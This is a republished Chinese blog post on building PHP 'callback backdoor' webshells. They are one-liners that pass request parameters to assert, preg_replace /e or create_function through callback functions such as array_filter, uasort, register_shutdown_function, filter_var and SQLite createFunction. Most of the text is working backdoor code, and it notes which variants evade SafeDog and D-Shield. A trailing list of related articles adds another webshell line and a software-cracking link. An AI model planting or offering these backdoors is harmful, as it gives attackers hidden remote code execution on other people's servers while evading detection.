创造tips的秘籍——PHP回调后门
作者:Phithon
原文连接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET['func']($_REQUEST['pass'])之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。
那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。
0x00 前言
有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。
一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:

最近又看到有人在发这个:http://www.secoff.net/archives/436.html
有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?
根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论:php中包含回调函数参数的函数,具有做后门的潜质。
我就自己给这类webshell起了个名字:回调后门。
0x01 回调后门的老祖宗
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:
1 |
call_user_func('assert', $_REQUEST['pass']); |
assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。
这个后门,狗和盾都可以查到(但是狗不会拦截):

可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:
1 |
call_user_func_array('assert', array($_REQUEST['pass'])); |
call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:

可见,虽然狗不杀了,D盾还是聪明地识别了出来。
看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。
0x02 数组操作造成的单参数回调后门
进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。
我最早想到个最“简单好用的”:
1 |
$e = $_REQUEST['e']; |
2 |
$arr = array($_POST['pass'],); |
3 |
array_filter($arr, base64_decode($e)); |
array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):

这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):

类似array_filter,array_map也有同样功效:
1 |
$e = $_REQUEST['e']; |
2 |
$arr = array($_POST['pass'],); |
3 |
array_map(base64_decode($e), $arr); |
依旧被D盾查杀。
果然,简单的数组回调后门,还是很容易被发现与查杀的。
0x03 php5.4.8+中的assert
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
比如如下回调后门:
1 |
$e = $_REQUEST['e']; |
2 |
$arr = array('test', $_REQUEST['pass']); |
3 |
uasort($arr, base64_decode($e)); |
这个后门在php5.3时会报错,提示assert只能有一个参数:

php版本改作5.4后就可以执行了:

这个后门,狗和盾是都查不出来的:

同样的道理,这个也是功能类似:
1 |
$e = $_REQUEST['e']; |
2 |
$arr = array('test' => 1, $_REQUEST['pass'] => 2); |
3 |
uksort($arr, $e); |
再给出这两个函数,面向对象的方法:
1 |
// way 0 |
2 |
$arr = new ArrayObject(array('test', $_REQUEST['pass'])); |
3 |
$arr->uasort('assert'); |
4 |
5 |
// way 1 |
6 |
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); |
7 |
$arr->uksort('assert'); |
再来两个类似的回调后门:
1 |
$e = $_REQUEST['e']; |
2 |
$arr = array(1); |
3 |
array_reduce($arr, $e, $_POST['pass']); |
1 |
$e = $_REQUEST['e']; |
2 |
$arr = array($_POST['pass']); |
3 |
$arr2 = array(1); |
4 |
array_udiff($arr, $arr2, $e); |
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)
0x04 三参数回调函数
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

php中,可以执行代码的函数:
- 一个参数:assert
- 两个参数:assert (php5.4.8+)
- 三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:
1 |
$e = $_REQUEST['e']; |
2 |
$arr = array($_POST['pass'] => '|.*|e',); |
3 |
array_walk($arr, $e, ''); |
如图,这个后门可以在5.3下使用:

但强大的D盾还是有警觉(虽然只是等级2):

不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:
1 |
$e = $_REQUEST['e']; |
2 |
$arr = array($_POST['pass'] => '|.*|e',); |
3 |
array_walk_recursive($arr, $e, ''); |
不截图了。
看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:
1 |
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e'); |
另一个:
1 |
echo preg_filter('|.*|e', $_REQUEST['pass'], ''); |
这两个一句话都是不杀的:


好用的一句话,且用且珍惜呀。
0x05 无回显回调后门
回调后门里,有个特殊的例子:ob_start。
ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:
1 |
ob_start('assert'); |
2 |
echo $_REQUEST['pass']; |
3 |
ob_end_flush(); |
但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:


即使没输出,实际代码是执行了的。也算作回调后门的一种。
0x06 单参数后门终极奥义
preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。
这里给出几个好用不杀的回调后门
1 |
$e = $_REQUEST['e']; |
2 |
register_shutdown_function($e, $_REQUEST['pass']); |
这个是php全版本支持的,且不报不杀稳定执行:


再来一个:
1 |
$e = $_REQUEST['e']; |
2 |
declare(ticks=1); |
3 |
register_tick_function ($e, $_REQUEST['pass']); |
再来两个:
1 |
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); |
2 |
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter'=> FILTER_CALLBACK, 'options' => 'assert'))); |
这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。
这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.
0x07 数据库操作与第三方库中的回调后门
回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。
我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:
1 |
$e = $_REQUEST['e']; |
2 |
$db = new PDO('sqlite:sqlite.db3'); |
3 |
$db->sqliteCreateFunction('myfunc', $e, 1); |
4 |
$sth = $db->prepare("SELECT myfunc(:exec)"); |
5 |
$sth->execute(array(':exec' => $_REQUEST['pass'])); |
执行之:

上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:
1 |
$e = $_REQUEST['e']; |
2 |
$db = new SQLite3('sqlite.db3'); |
3 |
$db->createFunction('myfunc', $e); |
4 |
$stmt = $db->prepare("SELECT myfunc(?)"); |
5 |
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); |
6 |
$stmt->execute(); |
前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。
这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。
比如php_yaml:
1 |
$str = urlencode($_REQUEST['pass']); |
2 |
$yaml = <<<EOD |
3 |
greeting: !{$str} "|.+|e" |
4 |
EOD; |
5 |
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace')); |
还有php_memcached:
1 |
$mem = new Memcache(); |
2 |
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);')); |
3 |
$mem->connect($_REQUEST['pass'], 11211, 0); |
自行研究吧。
0x08 其他参数型回调后门
上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?
举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。
preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。
所以我们需要去“构造”一个满足条件的回调函数。
怎么构造?使用create_function:
1 |
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']); |
“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。
这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。
类似的,这个也同样:
1 |
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']); |
再来一个利用CallbackFilterIterator方法的回调后门:
1 |
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);')); |
2 |
foreach ($iterator as $item) { |
3 |
echo $item; |
4 |
} |
这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。
0x09 后记
这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。
实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。
简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞。
创造tips的秘籍——PHP回调后门的更多相关文章
- 8. php回调后门
中国菜刀下载,基于原版中国菜刀优化版20160309. 下载地址: http://pan.baidu.com/s/1jHoJxHW China chopper http://pan.baidu.com ...
- PHP后门之冷门回调函数(过waf)
header_register_callback(create_function('','return assert($_POST[\'k\']);')); $e = $_REQUEST['e']; ...
- php一句话后门过狗姿势万千之后门构造与隐藏【二】
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- php一句话后门过狗姿势万千之传输层加工(1)
写在前面:过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面.但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会 ...
- ThinkPHP留后门技巧
原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html 90sec上有人问,我说了还有小白不会用.去年我 ...
- PHP一句话后门过狗姿势万千之后门构造与隐藏
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- 奇淫异巧之 PHP 后门
整理大部分来源信安之路 对于隐蔽来说,有以下几点要素: 1.熟悉环境,模拟环境,适应环境,像一只变色龙一样隐藏 2.清除痕迹,避免运维发现 3.避免后门特征值被 D 盾等工具检测到 姿势 一般过狗思路 ...
- Deformity PHP Webshell、Webshell Hidden Learning
目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...
- 深入解析Javascript异步编程
这里深入探讨下Javascript的异步编程技术.(P.S. 本文较长,请准备好瓜子可乐 :D) 一. Javascript异步编程简介 至少在语言级别上,Javascript是单线程的,因此异步编程 ...
随机推荐
- 介绍linux下vi命令的使用
功能最强大的编辑器之一——vivi是所有UNIX系统都会提供的屏幕编辑器,它提供了一个视窗设备,通过它可以编辑文件.当然,对UNIX系统略有所知的人,或多或少都觉得vi超级难用,但vi是最基本的编辑器 ...
- 【java基础】重载与重写
前言 : 很早的时候,我就知道这两个东西,但是,也仅仅是停留在知道的程度而已,对于什么是重写,什么事重载,还是感到十分的迷惑,迷茫.正好,在软考复习时又经历这两个东西,细心一点,探究了一下,有点收获, ...
- phpstorm的安装、破解、和汉化
1.去官网下载最新版安装. 2.完成选择购买软件,下面选择中间那个账户方法License server,把这条链接复制下去:http://idea.qinxi1992.cn 3.下载汉化包resour ...
- python 继承
继承一个类 如果已经定义了Person类,需要定义新的Student和Teacher类时,可以直接从Person类继承: class Person(object): def __init__(self ...
- javascript写在<head>和<body>里的区别
Javascript写在哪里?概括起来就是三种形式:1. 内部:Html网页的<body></body>中:2. 内部:Html网页的<head></head ...
- js小例子(简单模糊匹配输入信息)
该例子实现的是用户输入信息或者字母时可以搜索出来,鼠标点击选择 <!DOCTYPE html> <html> <style> p{ width:200px; hei ...
- 5.19[bzoj树网的核]
围观了final,SJTU还是飞了,泽民同志劲啊! 膜拜归膜拜...回来开题 bzoj1999树网的核 最近就喜欢给自己找切不动的题...QAQ ok.....昨天在家里做了一个下午+晚上 又困&am ...
- ReLu(Rectified Linear Units)激活函数
论文参考:Deep Sparse Rectifier Neural Networks (很有趣的一篇paper) 起源:传统激活函数.脑神经元激活频率研究.稀疏激活性 传统Sigmoid系激活函数 传 ...
- 洛谷 P1330 封锁阳光大学 Label:染色问题
题目描述 曹是一只爱刷街的老曹,暑假期间,他每天都欢快地在阳光大学的校园里刷街.河蟹看到欢快的曹,感到不爽.河蟹决定封锁阳光大学,不让曹刷街. 阳光大学的校园是一张由N个点构成的无向图,N个点之间由M ...
- 洛谷 P1160 队列安排 Label:链表 数据结构
题目描述 一个学校里老师要将班上N个同学排成一列,同学被编号为1-N,他采取如下的方法: 1.先将1号同学安排进队列,这时队列中只有他一个人: 2.2-N号同学依次入列,编号为i的同学入列方式为:老师 ...